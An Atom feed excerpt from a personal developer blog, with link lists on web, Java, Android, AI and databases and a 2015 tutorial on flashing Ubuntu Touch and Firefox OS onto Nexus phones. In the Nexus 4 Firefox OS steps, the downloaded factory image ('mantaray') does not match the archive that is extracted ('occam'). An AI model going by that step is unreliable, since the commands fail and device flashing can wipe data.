&lt;li&gt;&lt;a href="http://korben.info/websocketd-communiquer-vos-pages-web-vos-outils-ligne-de-commande.html"&gt;WebSocketd – Faites communiquer vos pages web avec vos outils en ligne de commande&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gitbook.com/book/frontendmasters/front-end-handbook-2017/details"&gt;Front-End Developer Handbook 2017&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=par742RHhVM"&gt;Les Web DevTools en 2017 (Jean-Francois Garreau)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=9PRPPJFaF_o"&gt;Optimiser les performances d'une webapp (Guillaume EHRET)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://paulbakaus.com/tutorials/performance/the-illusion-of-speed/"&gt;The Illusion of Speed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hacks.mozilla.org/2017/06/firefox-54-e10s-webextension-apis-css-clip-path/"&gt;Firefox 54: E10S-Multi, WebExtension APIs, CSS clip-path&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hacks.mozilla.org/2017/10/how-we-rebuilt-the-viewsourceconf-org-website/"&gt;How we rebuilt the viewsourceconf.org website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://whatwebcando.today/"&gt;What Web Can Do Today&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://webaim.org/blog/user-agent-string-history/"&gt;History of the browser user-agent string&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kamranahmedse/developer-roadmap"&gt;Roadmap to becoming a web developer in 2019&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Microsoft/frontend-bootcamp"&gt;Frontend Bootcamp / Days in the Web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://illustrated.dev/"&gt;Illustrated.dev&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="web"></category><category term="code"></category><category term="html"></category><category term="css"></category><category term="javascript"></category></entry><entry><title>Embracing Java</title><link href="https://romainpellerin.eu/embracing-java.html" rel="alternate"></link><published>2015-12-03T00:35:00+01:00</published><updated>2015-12-03T00:35:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-12-03:/embracing-java.html</id><summary type="html">&lt;p&gt;Java is cool! Here are some useful resources.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Here are some useful links about Java.&lt;/p&gt;
&lt;h1 id="general"&gt;General&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.roseindia.net/java/beginners/OSInformation.shtml"&gt;Operating System Information&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.oracle.com/javase/tutorial/java/nutsandbolts/opsummary.html"&gt;Summary of Operators&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://askubuntu.com/questions/272187/setting-jdk-7-as-default/272190#272190"&gt;Setting JDK 7 as default&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/11750545/how-do-i-view-jres-source-code-in-eclipse-on-linux-debian/28859130#28859130"&gt;How do I view JRE's source code in Eclipse on linux (debian)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/winterbe/java8-tutorial"&gt;Modern Java - A Guide to Java 8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/7569658/where-can-i-find-javaee-packages-sources"&gt;Where can I find JavaEE packages' sources?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="concurrency"&gt;Concurrency&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://rom.developpez.com/java-synchronisation/"&gt;Java et la synchronisation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://alwin.developpez.com/tutorial/JavaThread/"&gt;Programmation des threads en Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://java.developpez.com/faq/java/?page=langage_threads"&gt;Java &amp;amp; Threads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mdalbin.developpez.com/tutoriels/general/semaphores/"&gt;Sémaphores et Mutex en Delphi et Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://viennet.developpez.com/cours/java/thread/"&gt;Cours Thread et Communication en Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zenika.developpez.com/tutoriels/java/core/javaprogconcurrente/"&gt;Introduction à la programmation concurrente en Java&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="code-quality"&gt;Code quality&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.qulice.com/"&gt;Source Code Quality Police (Qulice)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="blogs"&gt;Blogs&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.yegor256.com/"&gt;Blog About Computers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="code"></category><category term="java"></category></entry><entry><title>Developing For Android</title><link href="https://romainpellerin.eu/developing-for-android.html" rel="alternate"></link><published>2015-12-02T16:30:00+01:00</published><updated>2017-05-13T02:06:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-12-02:/developing-for-android.html</id><summary type="html">&lt;p&gt;Resources for Android development&lt;/p&gt;</summary><content type="html">&lt;p&gt;Here are some useful resources for Android development.&lt;/p&gt;
&lt;h1 id="internationalization"&gt;Internationalization&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://jeremie-martinez.com/2017/03/13/i18n-good-practices/"&gt;Internationalizing an Android app&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="design"&gt;Design&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://romannurik.github.io/AndroidAssetStudio/"&gt;Android Asset Studio&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://petrnohejl.github.io/Android-Cheatsheet-For-Graphic-Designers/"&gt;Android Cheatsheet for Graphic Designers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/opoloo/androidicons"&gt;Android Developer Icons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.androidicons.com/"&gt;Android Icons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://google.github.io/material-design-icons/"&gt;Material icons guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/lgvalle/Material-Animations"&gt;Android Transition animations explanation with examples&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="fragments"&gt;Fragments&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://mathias-seguy.developpez.com/cours/android/fragments/"&gt;Les Fragments&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="asynchronism"&gt;Asynchronism&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://android-er.blogspot.fr/2014/04/run-multi-asynctask-as-same-time.html"&gt;Run multi AsyncTask at the same time&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="security"&gt;Security&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://android-developers.blogspot.fr/2013/02/using-cryptography-to-store-credentials.html"&gt;Using Cryptography to Store Credentials Safely&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.google.com/presentation/d/1TvS_mAvDpuaODAK4RG77x0OZsH4CfmxkYM9u1b6JDPo/mobilepresent"&gt;Secure your app: Fight the leaks! - Samsung&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="libraries"&gt;Libraries&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://android-arsenal.com/"&gt;Android Arsenal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://play.google.com/store/apps/details?id=com.desarrollodroide.repos"&gt;Libraries for developers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://infinum.co/the-capsized-eight/articles/top-5-android-libraries-every-android-developer-should-know-about"&gt;Top 5 Android libraries every Android developer should know about&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="finalizing-the-app-promoting-it"&gt;Finalizing the app / promoting it&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://placeit.net/"&gt;Free iPhone Mockup Generator &amp;amp; App Demo Videos by Placeit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://developer.android.com/distribute/tools/promote/device-art.html"&gt;Device Art Generator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.opoloo.com/blog/articles/android-app-publishing-checklist--2"&gt;Android App Publishing Checklist&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="testing"&gt;Testing&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://jeremie-martinez.com/2015/04/17/tests-android/"&gt;No more excuses, Android testing is possible&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jeremie-martinez.com/2016/02/16/unit-tests/"&gt;3 unit tests to avoid bad surprises on Android&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="continuous-integration"&gt;Continuous Integration&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://jeremie-martinez.com/2016/04/19/gocd-android/"&gt;Use GoCD for Android and get rid of Jenkins&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jeremie-martinez.com/2016/01/14/devops-on-android/"&gt;DevOps on Android: From one Git push to production&lt;/a&gt; and &lt;a href="https://www.youtube.com/watch?v=3Ises8TgAp4"&gt;the talk given by the author&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://engineeringblog.yelp.com/2017/04/continuous-integration-on-android.html"&gt;Continuous Integration on Android&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/google-developers/developing-for-android-introduction-5345b451567c"&gt;Developing for Android: Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=ekN2zvFytZk"&gt;Deep Dive Into State Restoration (en) - Cyril Mottier, Capitaine Train - Droidcon Paris 2014&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cyrilmottier.com/2014/12/09/a-story-of-software-development-methodologies/"&gt;A Story of Software Development Methodologies&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="code"></category><category term="android"></category><category term="java"></category></entry><entry><title>Machine Learning And AI</title><link href="https://romainpellerin.eu/machine-learning-and-ai.html" rel="alternate"></link><published>2015-11-28T13:14:00+01:00</published><updated>2017-01-31T23:47:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-11-28:/machine-learning-and-ai.html</id><summary type="html">&lt;p&gt;Resources about machine learning and AI&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/backchannel/how-elon-musk-and-y-combinator-plan-to-stop-computers-from-taking-over-17e0e27dd02a"&gt;How Elon Musk and Y Combinator Plan to Stop Computers From Taking Over&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://rinuboney.github.io/2015/10/18/theoretical-motivations-deep-learning.html"&gt;Theoretical Motivations for Deep Learning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.r2d3.us/visual-intro-to-machine-learning-part-1/"&gt;A Visual Introduction to Machine Learning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://waitbutwhy.com/2015/01/artificial-intelligence-revolution-1.html"&gt;The AI Revolution: The Road to Superintelligence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://coding-geek.com/how-shazam-works/"&gt;How does Shazam work&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://static.googleusercontent.com/media/research.google.com/en/us/pubs/archive/334.pdf"&gt;The Anatomy of a Large-Scale Hypertextual Web Search Engine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://radar.oreilly.com/2014/12/wouldnt-it-be-fun-to-build-your-own-google.html"&gt;Wouldn’t it be fun to build your own Google?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://artint.info/html/ArtInt.html"&gt;ARTIFICIAL INTELLIGENCE - FOUNDATIONS OF COMPUTATIONAL AGENTS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://joelgrus.com/2016/05/23/fizz-buzz-in-tensorflow/"&gt;Fizz Buzz in Tensorflow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/machine-learnings/a-humans-guide-to-machine-learning-e179f43b67a0"&gt;The Non-Technical Guide to Machine Learning &amp;amp; Artificial Intelligence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ZuzooVn/machine-learning-for-software-engineers"&gt;A complete daily plan for studying to become a machine learning engineer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ahogrammer.com/2016/11/15/deep-learning-enables-you-to-hide-screen-when-your-boss-is-approaching/"&gt;Deep Learning Enables You to Hide Screen when Your Boss is Approaching&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="ai"></category><category term="machine learning"></category><category term="learning"></category><category term="artificial intelligence"></category></entry><entry><title>Android, iOS: What Alternatives?</title><link href="https://romainpellerin.eu/android-ios-what-alternatives.html" rel="alternate"></link><published>2015-11-26T15:00:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-11-26:/android-ios-what-alternatives.html</id><summary type="html">&lt;p&gt;What alternatives do we have to Android and iOS? How to install Firefox OS and Ubuntu for devices.&lt;/p&gt;</summary><content type="html">&lt;p&gt;As 2015 is slowly coming to an end, let's try to shape the state of the global smartphone market share.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Market share" src="https://romainpellerin.eu/images/chart-ww-smartphone-os-market-share.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="http://www.idc.com/prodserv/smartphone-os-market-share.jsp"&gt;Source&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It makes no doubt that &lt;strong&gt;the world is ruled by two main OSes: Android and iOS&lt;/strong&gt;. But as you may have heard, those operating systems are powered by two giants, Google and Apple, and in many cases, this can lead to privacy issues. In addition, iOS is proprietary softare and Android tends to be more and more opaque as well. So, what other alternatives do we have? How can we regain control over software we use?&lt;/p&gt;
&lt;p&gt;Since a few years, two other operating systems offering good alternatives, have been in intense development. One is made by Mozilla, called "&lt;em&gt;Firefox OS&lt;/em&gt;", the other one is powered by Canonical (the company behind Ubuntu), called "&lt;em&gt;Ubuntu for devices&lt;/em&gt;". Those two OSes are really different in the way they work.&lt;/p&gt;
&lt;p&gt;Firefox OS relies on HTML5. As a web developer, you'll find developing on this platform pretty straightforward. Applications are built on top of HTML/CSS.&lt;/p&gt;
&lt;p&gt;On the other hand, Ubuntu is... kind of a Ubuntu distribution but developed and optimized for mobiles. It allows you to do most of what you might do on a desktop distribution.&lt;/p&gt;
&lt;p&gt;For now, as these OSes are still in early development, they're not available worldwide easily. Somes phones run theses OSes but they're not mainstream yet. An easy option is to build them yourself and install them on your own Android device. Here are short tutorials.&lt;/p&gt;
&lt;h1 id="installing-ubuntu-for-devices"&gt;Installing Ubuntu for devices&lt;/h1&gt;
&lt;h2 id="for-nexus-4"&gt;For Nexus 4&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo add-apt-repository ppa:ubuntu-sdk-team/ppa
sudo apt-get update
sudo apt-get install ubuntu-device-flash phablet-tools
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Plug in your phone, enable the developer mode and USB debugging.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;adb reboot bootloader
sudo fastboot oem unlock
ubuntu-device-flash touch --channel&lt;span class="o"&gt;=&lt;/span&gt;stable --bootstrap
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://developer.ubuntu.com/en/start/ubuntu-for-devices/installing-ubuntu-for-devices/"&gt;More information&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="for-nexus-5"&gt;For Nexus 5&lt;/h2&gt;
&lt;p&gt;There are 3 methods (updated in December 2017). First, plug in your phone. Then:&lt;/p&gt;
&lt;h3 id="1"&gt;1&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://devices.ubports.com/#/hammerhead"&gt;Official tutorial&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git clone https://github.com/MariusQuabeck/magic-device-tool.git
&lt;span class="nb"&gt;cd&lt;/span&gt; magic-device-tool
sudo ./launcher.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="2"&gt;2&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://devices.ubports.com/#/hammerhead"&gt;Official tutorial&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt-get install ubuntu-device-flash phablet-tools
adb reboot bootloader
sudo fastboot oem unlock
sudo ubuntu-device-flash --server&lt;span class="o"&gt;=&lt;/span&gt;http://system-image.ubports.com touch --device&lt;span class="o"&gt;=&lt;/span&gt;hammerhead --channel&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;.04/stable --bootstrap
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="3"&gt;3&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://ubports.com/page/ubuntu-nexus-5"&gt;Official tutorial&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;wget https://github.com/ubports/ubports-installer/releases/download/0.1.9-beta/ubports-installer_0.1.9-beta_amd64.deb -O /tmp/ubports.deb
sudo dpkg -i /tmp/ubports.deb
ubports-installer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="building-and-installing-firefox-os"&gt;Building and installing Firefox OS&lt;/h1&gt;
&lt;h2 id="for-nexus-4_1"&gt;For Nexus 4&lt;/h2&gt;
&lt;p&gt;Plug in your phone, enable the developer mode and USB debugging.&lt;/p&gt;
&lt;h3 id="first-step-flash-your-nexus-4-with-android-43"&gt;First step: flash your Nexus 4 with Android 4.3&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt-get install android-tools-adb
wget https://dl.google.com/dl/android/aosp/mantaray-jwr66y-factory-3d8252dd.tgz
tar xvzf occam-jwr66y-factory-74b1deab.tgz
&lt;span class="nb"&gt;cd&lt;/span&gt; occam-jwr66y
./flash-all.sh &lt;span class="c1"&gt;# Boot to fastboot and unlock bootloader&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="second-step-build-firefox-os-on-a-1404-ubuntu"&gt;Second step: build Firefox OS (on a 14.04 Ubuntu)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install --no-install-recommends autoconf2.13 bison bzip2 ccache &lt;span class="se"&gt;\&lt;/span&gt;
    curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git &lt;span class="se"&gt;\&lt;/span&gt;
    lib32ncurses5-dev lib32z1-dev zlib1g:amd64 zlib1g-dev:amd64 zlib1g:i386 &lt;span class="se"&gt;\&lt;/span&gt;
    zlib1g-dev:i386 libgl1-mesa-dev libx11-dev make zip libxml2-utils
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.6 &lt;span class="m"&gt;1&lt;/span&gt;
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.8 &lt;span class="m"&gt;2&lt;/span&gt;
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.6 &lt;span class="m"&gt;1&lt;/span&gt;
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.8 &lt;span class="m"&gt;2&lt;/span&gt;
sudo update-alternatives --set gcc &lt;span class="s2"&gt;&amp;quot;/usr/bin/gcc-4.6&amp;quot;&lt;/span&gt;
sudo update-alternatives --set g++ &lt;span class="s2"&gt;&amp;quot;/usr/bin/g++-4.6&amp;quot;&lt;/span&gt;
ccache --max-size 10GB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Plug in your phone, enable the developer mode and USB debugging.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;adb pull /system /tmp/system
adb pull /data /tmp/data
adb pull /vendor /tmp/vendor
git clone git://github.com/mozilla-b2g/B2G.git
&lt;span class="nb"&gt;cd&lt;/span&gt; B2G
git pull
./repo sync
./config nexus-4
./build.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="third-step-install-it"&gt;Third step: install it&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./flash.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="some-additional-settings"&gt;Some additional settings&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; gaia
make reset-gaia &lt;span class="nv"&gt;PRODUCTION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
mkdir -p locales
sudo aptitude install mercurial
rm -rf locales/fr
hg clone http://hg.mozilla.org/gaia-l10n/fr locales/fr
&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;LOCALE_BASEDIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$PWD&lt;/span&gt;/locales
&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;LOCALES_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$PWD&lt;/span&gt;/locales/languages_dev.json
&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;GAIA_DEFAULT_LOCALE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;en
&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;GAIA_KEYBOARD_LAYOUTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;en,fr
rm locales/languages_dev.json -f
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{&lt;/span&gt;
&lt;span class="s1"&gt; &amp;quot;en-US&amp;quot;     : &amp;quot;English (US)&amp;quot;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;quot;fr&amp;quot;        : &amp;quot;Français&amp;quot;&lt;/span&gt;
&lt;span class="s1"&gt;}&amp;#39;&lt;/span&gt; &amp;gt; locales/languages_dev.json
make clean &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; make production &lt;span class="nv"&gt;LOCALES_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;locales/languages_dev.json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://developer.mozilla.org/en-US/Firefox_OS/Building_and_installing_Firefox_OS"&gt;More information&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="other-alternatives"&gt;Other alternatives&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://lineageos.org/"&gt;LineageOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://puri.sm/shop/librem-5/"&gt;Purism's Librem 5&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="mobile"></category><category term="android"></category><category term="ios"></category><category term="ubuntu"></category><category term="firefox"></category></entry><entry><title>Resources For Databases</title><link href="https://romainpellerin.eu/resources-for-databases.html" rel="alternate"></link><published>2015-10-29T11:30:00+01:00</published><updated>2018-05-22T20:32:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-10-29:/resources-for-databases.html</id><summary type="html">&lt;p&gt;Useful links when working with databases&lt;/p&gt;</summary><content type="html">&lt;h1 id="general"&gt;General&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stph.scenari-community.org/bdd"&gt;CONCEPTION DE BASES DE DONNÉES&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.vertabelo.com/blog/notes-from-the-lab/why-sql-is-neither-legacy-nor-low-level-but-simply-awesome"&gt;Why SQL is neither legacy, nor low-level, nor difficult, nor the wrong place for (business) data logic, but simply awesome!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.clever-cloud.com/blog/engineering/2015/05/20/Why-Auto-Increment-Is-A-Terrible-Idea/"&gt;Why Auto Increment Is A Terrible Idea&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/38549/difference-between-inner-and-outer-joins/38578#38578"&gt;Difference between INNER and OUTER joins&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cubrid.org/wiki_tutorials/entry/how-to-insert-data-into-tables-with-auto_increment-columns"&gt;How to Insert Data Into Tables with AUTO_INCREMENT Column(s)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/487314/primary-key-or-unique-index/487321#487321"&gt;Primary key or Unique index?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.developpez.com/cinephil/p10017/bases-de-donnees/quand_faut_il_une_table_associative"&gt;Quand faut-il une table associative ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.clement.delafargue.name/posts/2014-10-15-clean-db-schemas-talk.html"&gt;Clean DB schemas talk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://modern-sql.com/feature/with"&gt;with — Organize Complex Queries&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.jooq.org/2016/01/18/impress-your-coworkers-by-using-sql-unpivot/"&gt;Impress Your Coworkers by Using SQL UNPIVOT!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.jooq.org/2016/04/25/10-sql-tricks-that-you-didnt-think-were-possible/"&gt;10 SQL Tricks That You Didn’t Think Were Possible&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.geek-directeur-technique.com/2017/05/05/gestion-des-dates-et-heures-dans-les-bases-de-donnees"&gt;Gestion des dates et heures dans les bases de données&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://korben.info/mysqldumpslow-reperer-rapidement-vos-requetes-sql-a-optimiser.html"&gt;Mysqldumpslow – Pour repérer rapidement vos requêtes SQL à optimiser&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=KCdOcdjxdn4"&gt;Stockage des données Quel système pour quel usage (Zouheir Cadi)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cybertec-postgresql.com/en/avoid-or-for-better-performance/"&gt;Avoiding “OR” for better query performance&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="postgresql"&gt;PostgreSQL&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.compose.io/articles/what-postgresql-has-over-other-open-source-sql-databases/"&gt;What PostgreSQL has over other open source SQL databases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://goto.project-a.com/postgresql-magic/"&gt;PostgreSQL Magic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bernardoamc.github.io/sql/2015/07/21/postgres-review-operators/"&gt;Review of operators in Postgres&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.infoq.com/fr/presentations/tips-tricks-clean-relational-db-schemas"&gt;Tips and tricks for clean relational db schemas&lt;/a&gt;&lt;/li&gt;
